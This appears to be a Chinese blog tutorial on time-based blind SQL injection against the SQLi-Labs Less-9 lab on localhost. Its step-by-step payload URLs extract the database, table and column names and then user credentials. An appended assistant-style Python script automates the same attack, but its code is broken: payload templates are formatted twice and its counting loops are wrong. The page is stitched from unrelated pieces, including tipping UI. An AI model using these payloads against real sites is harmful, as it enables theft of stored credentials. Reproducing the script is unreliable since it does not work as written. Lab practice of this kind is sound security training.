基于时间的盲注

关于时间(延时)盲注

某些场合下,页面只有一种返回结果,使用具有延时功能的函数sleep()、benchmark()等,通过判断这些函数是否正常执行来获取数据库中的数据。

一些功能函数的说明

length(str):返回字符串(str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。
ascii(str):返回字符串(str)最左边字符的ASCll码。
if(expr1,expr2,expr3):条件判断函数,expr1为true则返回expr2, expr1为false则返回expr3。
sleep(N):让语句延迟执行一段时间(N秒),执行成功后返回0。
benchmark(count,expr):让expr执行count次,执行成功后返回0。

1.访问SQLi-Labs网站

1)访问Less-9,根据网页提示,给定一个?id=1的参数

http://127.0.0.1/sqli-labs/Less-9/?id=1

此时页面显示信息为You are in ......

2)若给定一个?id=-1的参数

http://127.0.0.1/sqli-labs/Less-9/?id=-1

 此时页面显示信息仍然为You are in ......

 可以继续给定不同的id参数进行尝试,发现页面的显示结果只有一种: You are in...。由此可以判断,这是一种典型的时间(延时)盲注场景!

2.寻找注入点

http://127.0.0.1/sqli-labs/Less-9/?id=1 and sleep(5) --+

 sleep(5)未执行,页面无明显延迟

http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+

由上述结果可以判断,网站存在字符型注入点

3.盲猜网站当前所在数据库的库名长度

 假设当前所在数据库的库名长度为N,尝试使用判断语句if((length(database())=M),sleep(5),1),不断变化M的值去猜测,如果M等于N,此时sleep(5)会成功执行,页面应该会有明显延迟。

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=7,sleep(5),1) --+

  页面无明显延迟,说明网站当前所在数据库的库名长度不是7个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

   页面有明显延迟,说明网站当前所在数据库的库名长度是8个字符

4.盲猜网站数据库当前所在数据库的库名字符串

猜测库名的第一个字母

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='a',sleep(5),1) --+

页面无明显延迟,第一个字母不是a

...

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(5),1) --+

 页面明显延迟,第一个字母是s

猜测库名的第二个字母

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(5),1) --+

页面无明显延迟,第二个字母不是a

...

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(5),1) --+

 页面明显延迟,第二个字母是e

...

最终得到的字符串结果为security

5.盲猜数据库security的全部表名

1)猜测第一张表的表名

猜测第一张表的表名的第一个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1) --+

 页面无明显延迟,第一个字母不是a

...

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) --+

 页面明显延迟,第一个字母是e

猜测第一张表的表名的第二个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='a',sleep(5),1) --+

 页面无明显延迟,第二个字母不是a

...

 http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1) --+

  页面明显延迟,第二个字母是m

猜测第一张表的表名的第三个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),3,1)='a',sleep(5),1) --+

 ...

最终得到第一个表的表名为emails

 2)猜测第二张表的表名

猜测第二张表的表名的第一个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='a',sleep(5),1) --+

  页面无明显延迟,第一个字母不是a

...

第一个字母是r

猜测第二张表的表名的第二个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='a',sleep(5),1) --+

...

 最终得到第二个表的表名为referers

依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。

其中,第4张表users当中可能存放着网站用户的基本信息

6.盲猜users表的全部字段名

 猜测第一个字段名

 猜测第一个字段名的第一个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='a',sleep(5),1) --+

...

最终得到所有字段名:id,username,password

7.盲猜users表username和password字段的全部值

猜测第一组数据

猜测第一组数据的第一个字符

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='a',sleep(5),1) --+

 ...

注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=',',sleep(5),1) --+

 依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
当然可以帮你写一个基于时间盲注的Python程序,获取数据库名,表名,列名和数据。以下是示例代码: ```python import requests import string # 数据库名长度 db_name_length = 0 # 数据库名 db_name = '' # 表名列表 table_names = [] # 列名列表 column_names = [] # 数据列表 data_list = [] # SQL注入语句的前缀和后缀 sql_prefix = "1' and if((select ascii(substring(database(),{},1)))={},sleep(3),1)-- -" sql_suffix = '' # 发送请求的函数 def make_request(payload): url = "http://your-ip/sql-lab/my-query" data = { 'query': payload, 'submit': 'Submit Query' } headers = { 'Cookie': 'session=your-session-id' } response = requests.post(url, data=data, headers=headers) return response.elapsed.total_seconds() # 获取数据库名长度 for i in range(1, 100): payload = sql_prefix.format(i, 97) if make_request(payload) >= 3: db_name_length = i break # 获取数据库名 for i in range(1, db_name_length + 1): for j in string.printable: payload = sql_prefix.format(i, ord(j)) if make_request(payload) >= 3: db_name += j break # 获取表名列表 payload = "1' and if((select count(*) from information_schema.tables where table_schema='{}')={},sleep(3),1)-- -".format(db_name, 0) if make_request(payload) >= 3: table_count_payload = "1' and if((select count(*) from information_schema.tables where table_schema='{}')={},sleep(3),1)-- -".format(db_name, 1) table_count = 0 for i in range(1, 100): payload = table_count_payload.format(i) if make_request(payload) >= 3: table_count = i break for i in range(table_count): table_payload = "1' and if((select ascii(substring(table_name,{},1)) from information_schema.tables where table_schema='{}' limit {},1)={},sleep(3),1)-- -".format(1, db_name, i, 0) table_name_length = 0 for j in range(1, 100): payload = table_payload.format(j) if make_request(payload) >= 3: table_name_length = j break table_name = '' for j in range(1, table_name_length + 1): for k in string.printable: payload = "1' and if((select ascii(substring(table_name,{},1)) from information_schema.tables where table_schema='{}' limit {},1)={},sleep(3),1)-- -".format(j, db_name, i, ord(k)) if make_request(payload) >= 3: table_name += k break table_names.append(table_name) # 获取列名列表和数据列表 for table_name in table_names: column_payload = "1' and if((select count(*) from information_schema.columns where table_schema='{}' and table_name='{}')={},sleep(3),1)-- -".format(db_name, table_name, 0) if make_request(column_payload) >= 3: column_count_payload = "1' and if((select count(*) from information_schema.columns where table_schema='{}' and table_name='{}')={},sleep(3),1)-- -".format(db_name, table_name, 1) column_count = 0 for i in range(1, 100): payload = column_count_payload.format(i) if make_request(payload) >= 3: column_count = i break for i in range(column_count): column_payload = "1' and if((select ascii(substring(column_name,{},1)) from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1)={},sleep(3),1)-- -".format(1, db_name, table_name, i, 0) column_name_length = 0 for j in range(1, 100): payload = column_payload.format(j) if make_request(payload) >= 3: column_name_length = j break column_name = '' for j in range(1, column_name_length + 1): for k in string.printable: payload = "1' and if((select ascii(substring(column_name,{},1)) from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1)={},sleep(3),1)-- -".format(j, db_name, table_name, i, ord(k)) if make_request(payload) >= 3: column_name += k break column_names.append(column_name) data_payload = "1' and if((select count(*) from {})={},sleep(3),1)-- -".format(table_name, 0) if make_request(data_payload) >= 3: data_count_payload = "1' and if((select count(*) from {})={},sleep(3),1)-- -".format(table_name, 1) data_count = 0 for j in range(1, 100): payload = data_count_payload.format(j) if make_request(payload) >= 3: data_count = j break for j in range(data_count): data_item = {} for column_name in column_names: data_payload = "1' and if((select ascii(substring({},1)) from {} limit {},1)={},sleep(3),1)-- -".format(column_name, table_name, j, 0) data_length = 0 for k in range(1, 100): payload = data_payload.format(k) if make_request(payload) >= 3: data_length = k break data_value = '' for k in range(1, data_length + 1): for l in string.printable: payload = "1' and if((select ascii(substring({},{})) from {} limit {},1)={},sleep(3),1)-- -".format(column_name, k, table_name, j, ord(l)) if make_request(payload) >= 3: data_value += l break data_item[column_name] = data_value data_list.append(data_item) # 打印结果 print('Database name: {}'.format(db_name)) print('Table names: {}'.format(table_names)) print('Column names: {}'.format(column_names)) print('Data: {}'.format(data_list)) ``` 需要修改的地方: 1. 将 `your-ip` 替换成 sql-lab 的 IP 地址 2. 将 `your-session-id` 替换成你的 sql-lab 的 session ID 注意:这个程序只适用于 sql-lab 第九关的时间盲注。如果你要用于其他情况,请适当修改代码。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值